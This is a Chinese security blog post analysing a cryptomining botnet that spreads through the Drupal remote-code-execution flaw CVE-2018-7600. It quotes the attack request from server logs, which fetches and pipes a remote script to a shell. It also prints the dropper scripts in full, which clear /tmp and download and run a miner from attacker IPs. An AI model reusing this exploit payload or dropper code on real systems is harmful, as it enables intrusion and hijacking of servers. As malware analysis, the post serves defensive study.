利用Drupal漏洞进行传播的挖矿僵尸病毒分析

一、事件背景

在对服务器进行例行性检查的时候,在一台ngix服务器的日志文件access.log里面发现了一些奇怪的访问记录,如下表所示。备注,这台Ngix 服务器安装windows10企业版操作系统,web服务器是nginx/1.12.2。

来源IP

时间

数据

85.248.227.163

16/Oct/2018:13:14:41 +0800

“POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+wget+-O+-+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1” 301 185 “-“ “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0”

85.248.227.163

16/Oct/2018:13:14:41 +0800

“GET /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+wget+-O+-+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1” 200 8517 “-“ “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0”

85.248.227.163

16/Oct/2018:13:14:43 +0800

“POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+curl+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1” 301 185 “-“ “Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36”

85.248.227.165

16/Oct/2018:13:14:47 +0800]

“GET /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+curl+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1” 200 8517 “-“ “Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36”

经过整理,发现上述web访问的命令其实就是下列两行,分别用GET和POST向目标网站进行请求访问。

https://mywebsite/?q=user/password&name[#post_render][]=passthru&name[#markup]=nohup wget –O - http://164.132.159.56/drupal/up.sh

sh 2>&1&name[#type]=markup

https://mywebsite/?q=user/password&name[#post_render][]=passthru&name[#markup]=nohup curl http://164.132.159.56/drupal/up.sh

sh 2>&1&name[#type]=markup

乍一看,就是向服务器发送请求,利用web服务器上的一个漏洞,并要求服务器执行wget和curl命令去下载并执行up.sh脚本。可是我的服务器明明是windows操作系统,就算有漏洞触发了也不会执行该命令。因此,本次web攻击请求应该不是人工发出的(应该不会有这么蠢的黑客吧,也可能看web服务器是Ngix,就默认为类linux系统)。此外,通过网络搜索关键字,发现这段代码是Drupal远程代码执行漏洞(CVE-2018-7600)的利用方式。今年上半年,Drupal漏洞非常火爆,使得一拨又一拨的僵尸网络高潮迭起。由此可见,本次的web请求访问应该是僵尸病毒在自动化的扫描,利用Drupal漏洞进行攻击传播扩散。可是,这些病毒作者为什么就不能稍微花点功夫,先对目标网站软件环境进行判断,然后再实施下一步的实质攻击步骤呢?

尽管这次攻击没有对本地服务器产生任何危害。但是,既然不请自来,那就花点功夫研究一下吧。

1.下载脚本

直接访问http://164.132.159.56/drupal/up.sh下载up.sh,发现其内容如下:

#!/bin/shcrontab-r;id0="[[^$I$^]]"id1="atnd"ps -fe|grep -v grep | grep -q "`echo $id0`\|`echo $id1`"if [ $?-ne 0 ];thenwget -O- http://164.132.159.56/drupal/bups.sh|sh ; curl http://164.132.159.56/drupal/bups.jpg|sh ;elseecho"......."fi

再次下载bups.sh和bups.jpg文件,其内容是一样的,具体内容如下:

 #!/bin/shid0="[[^$I$^]]"id1="atnd"id2="ooo"ps -fe |grep -v grep | grep -q "`echo$id0`\|`echo $id1`"if [ $? -ne 0 ];thenif [ -x "/var/tmp/" ] &&[ -w "/var/tmp/" ];thenrm -rf /var/tmp/.*rm -rf /var/tmp/*wget -O /var/tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`curl -o /var/tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`chmod +x /var/tmp/`echo $id1`chmod 777 /var/tmp/atnd/var/tmp/`echo $id1` &elserm -rf /tmp/.*rm -rf /tmp/*wget -O /tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`curl -o /tmp/`echo $id1`http://164.132.159.56/drupal/2/`echo $id2`chmod +x /tmp/`echo $id1`chmod 777 /tmp/atnd/tmp/`echo $id1` &fielseecho "Running....."fi

上面脚本很简单,就是下载恶意软件并运行的过程。脚本首先判断是否存在名叫id0和id1的进程(如果存在说明目标系统已被感染,恶意软件已运行中)。接着判断/var/tmp目录是否存在并可执行可写,如能是,则把恶意软件下载放在该目录下,否则就放在/tmp/目录下。木马下载路径是http://164.132.159.56/drupal/2/ooo,存放在本地的名字是id1,也就是”atnd”。此外,id0参数只是简单调用了一下,说明此轮感染操作应该不是第一波,在此前的病毒传播阶段,攻击者下载恶意软件后本地保存的文件名是id0,也就是”[[^$I$^]]”。

手动访问下载ooo,其属性如下表所示。

属性

大小

21176

MD5

7fdc31d7b9fafd2fbbb4da22b3cf56a2

SHA1

4e8bdca8d9a2eec23f17206af6e9f70daad29a25

2.构建环境

本地环境是Ubuntu16.04虚拟机。把ooo文件拷贝到虚拟机下/var/tmp/atnd,执行后,发现ubuntu系统退出登录,重新输入密码,一闪又回到登录界面。晕。

通过wireshark抓包,发现测试环境和80.240.26.52以及164.132.159.56两个IP发生如下的网络连接。

1.首先访问下载http://164.132.159.56/drupal/lu.sh文件,其内容如下。

lu.sh执行后会区访问下载bups.sh和bups.jpg,这两个文件的内容上一段已经介绍。

2.下载http://164.132.159.56/drupal/bups.sh

3.下载http:// 164.132.159.56/drupal/2/ooo

4.再次下载http:// 164.132.159.56/drupal/2/ooo

5.下载http:// 80.240.26.52/d/sss

6.下载http:// 80.240.26.52/d/lmmml

其中,步骤1-4下载的文件已经清晰,手动下载步骤5和步骤6的文件,下载后的文件信息如下表所示。

文件名

大小

MD5

SHA1

sss

16360

8a8ddce64e5dd6f5864da18d7899351c

edb7aac788cb25a2f36bd71244843a9289a97d4e

lmmml

719144

2e483fe7736634134b1b0d82828f2e53

583f5a66117f76a9dea389070ed0c8470e330e47

3.相关IP初步分析

1.攻击者来源IP

从Ngix日志提取的攻击者IP为85.248.227.163和85.248.227.165。

通过ip138查询,结果如下:

开放80和443端口,直接http方式访问,显示的页面如下图所示。咦,竟然是Tor节点,上面显示了服务器的性能。利用https访问,则没有显示页面。发现域名是Enn.lu。

在本地pingenn.lu解析结果如下:

正在Ping enn.lu [176.10.250.105] 具有 32 字节的数据:

来自176.10.250.105 的回复: 字节=32 时间=310ms TTL=47

来自176.10.250.105 的回复: 字节=32 时间=308ms TTL=47

来自176.10.250.105 的回复: 字节=32 时间=309ms TTL=47

来自 176.10.250.105 的回复: 字节=32 时间=308ms TTL=47

IP地址不一样,而且直接访问enn.lu网站都是直接跳转到https访问方式,其首页界面如下图所示。

看来很有可能是假冒页面。

直接在http://85.248.227.163查看其源代码,果不其然,该页面只是简单的链接到enn.lu网站。

此外,除了日志中发现的85.248.227.163和85.248.227.165地址外,还发现85.248.227.164地址与它们功能相同,三者网站页面都是假冒的Enn.lu域名,也就是说,攻击者至少拥有或控制这三个IP地址的主机。

2.http下载地址分析

所有的sh脚本都是通过访问164.132.159.56下载的。IP查询结果如下。

_______________________________________ 您查询的IP:164.132.159.56•本站数据:法国 •参考数据1:法国法国ovh.com•参考数据2:意大利•兼容IPv6地址:::A484:9F38•映射IPv6地址:::FFFF:A484:9F38________________________________________

直接用浏览器进行http访问,结果如下所示。

Not FoundThe requested URL / was not found on this server.________________________________________Apache/2.4.18 (Ubuntu) Server at 164.132.159.56 Port 80

3.ooo通联地址

ooo程序运行后会访问下载80.240.26.52地址用于下载sss以及lmmml程序。对地址80.240.26.52的查询结果如下。

________________________________________    您查询的IP:80.240.26.52本站数据:希腊 参考数据1:希腊希腊 参考数据2:希腊兼容IPv6地址:::50F0:1A34映射IPv6地址:::FFFF:50F0:1A34________________________________________

直接浏览器访问后的结果如下:

403 Forbidden________________________________________nginx/1.10.3 (Ubuntu)

二、程序分析

1.ooo程序

1.循环kill进程

读取/proc/下的进程列表,如果进程PID<=1000则不处理,否则杀掉原来设定的病毒进程名字,比如atnd、[^$I$^]。代码如下图所示:

2.判读目录是否存在可写,下载相应文件到本地并执行:

3.网络下载的函数:

4.定时任务,如果有wget用wget下载命令,否则用curl下载命令。把下载命令用base64编码后,生成定时任务命令。

5.while循环操作,杀进程,下载执行、sleep:

2.lmmml程序

拷贝lmmml到桌面下,直接运行后,发现lmmml其实是一个挖矿程序。

1.进程改名

Lmmml运行后的进程改名为[^$I$^]。

2.矿池分析

它连接的矿池是:95.179.153.229:7777。

对其利用IDA反汇编可以看到,其连接的矿池地址有两个,分别是95.179.153.229的7777和80端口。如下图所示:

可是,网络抓包发现它登录的挖矿帐号和密码竟然都是设置成x,并没有发送实际的挖矿帐号,很奇怪。

{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"http","algo":["cn","cn/2","cn/1","cn/0","cn/xtl","cn/msr","cn/xao","cn/rto"]}}

浏览器直接访问95.179.153.229的80端口和7777登录,发现返回字符串”Mining Proxy Online”。看来该台服务器是攻击者自架设的一个挖矿代理服务器。同时,在对lmmml静态反汇编分析的时候,发现与此前发现的挖矿代码不同,作者应该是自己重新修改编译了源代码,变化非常大,此前常见的静态字符串都做了处理。

结合挖矿的帐号设置成x,是否有可能是作者自己修改编译了mining-proxy的代码,把所有的被感染机器发送过来的账号x都在proxy端再进行重新设置,然后发送给实际的矿池,从而形成统一挖坑又保护自身挖坑账号的目的,不让分析的人员知道该账户的具体情况(比如实际收益情况等)。

三、结束语

通过上述简单分析,大致可以得出下列结论:

1.该次web服务器的网络异常请求访问应该是一次来自僵尸病毒的自动攻击行为;

2.该僵尸病毒利用Drupal漏洞进行传播;

3.该僵尸病毒已经实施了多波次的感染行动;

4.攻击者主要目的用于挖矿,可根据需要随时更换恶意代码功能文件。至于目前挖矿的账号用x是否如分析的一样有待商榷。

5.攻击者利用的资源比较分散,比如85.248.227.163/85.248.227.164/85.248.227.165三个IP地址用于伪造网站与实施Drupal漏洞攻击,164.132.159.56用于下载攻击脚本文件, 80.240.26.52用于病毒实体文件的下载。

*本文原创作者:cgf99,本文属于FreeBuf原创奖励计划,未经许可禁止转载

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-11-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Python数据科学

Python爬虫之模拟登录京东商城

首先感谢大家的大力支持,博主会持续更新精彩文章,分享更多技术干货。另外,最近在新建的QQ群中结识了一些朋友,气氛很好,大家互相分享技术内容,博主也从中收获了不少...

44720
来自专栏信安之路

Red Team 工具集之远程控制软件

上图是一个 Red Team 攻击的生命周期,整个生命周期包括:信息收集、攻击尝试获得权限、持久性控制、权限提升、网络信息收集、横向移动、数据分析(在这个基础上...

24800
来自专栏乐百川的学习频道

用本机电脑搭建网站(域名、DNS解析)

最近又准备瞎捣鼓一下个人网站。本来呢,如果是自己玩玩的话,用花生壳或者NAT123这样的动态DNS解析就可以了。但是最近花生壳这个吊玩意不知道怎么又没办法解析了...

1.8K90
来自专栏小曾

web安全:通俗易懂,以实例讲述破解网站的原理及如何进行防护!如何让网站变得更安全。

本篇以我自己的网站为例来通俗易懂的讲述网站的常见漏洞,如何防止网站被入侵,如何让网站更安全。

51840
来自专栏前端儿

既之前的基础,先写个简单的PHP 与数据库 的数据交流

现在先不用 css 和 javascript     先用纯 html  php  写吧。 所以那些 嵌入式 <font  size=....  什么的看看就算...

13320
来自专栏逸鹏说道

某厂2016实习招聘安全技术试题答案及解析

0×00 前言 鉴于曾经做过某厂招聘-安全技术笔试题目,故留此一记,以作怀念。 此外,网上也有公布的相关的答案,但是其中有些题目稍有错误或者解释不全,当然我也有...

1.5K40
来自专栏北京马哥教育

一次Linux系统被攻击的分析过程

IT行业发展到现在,安全问题已经变得至关重要,从最近的“棱镜门”事件中,折射出了很多安全问题,信息安全问题已变得刻不容缓,而做为运维人员,就必须了解一些安全运维...

72770
来自专栏北京马哥教育

Linux主机被入侵后的处理案例

IT行业发展到现在,安全问题已经变得至关重要,从“棱镜门”事件中,折射出了很多安全问题,信息安全问题已变得刻不容缓,而做为运维人员,就必须了解一些安全运维准则,...

757120
来自专栏信安之路

Mimikatz 攻防杂谈

前几天看到了老外一篇讲 mimikatz 防御的文章,感觉行文思路还不错,但是内容稍有不足,国内也有一篇翻译,但是只是照着错误翻译的,所以就萌生了把那篇优秀文章...

53020
来自专栏Android开发指南

genymotion常见问题解答

686100

扫码关注云+社区

领取腾讯云代金券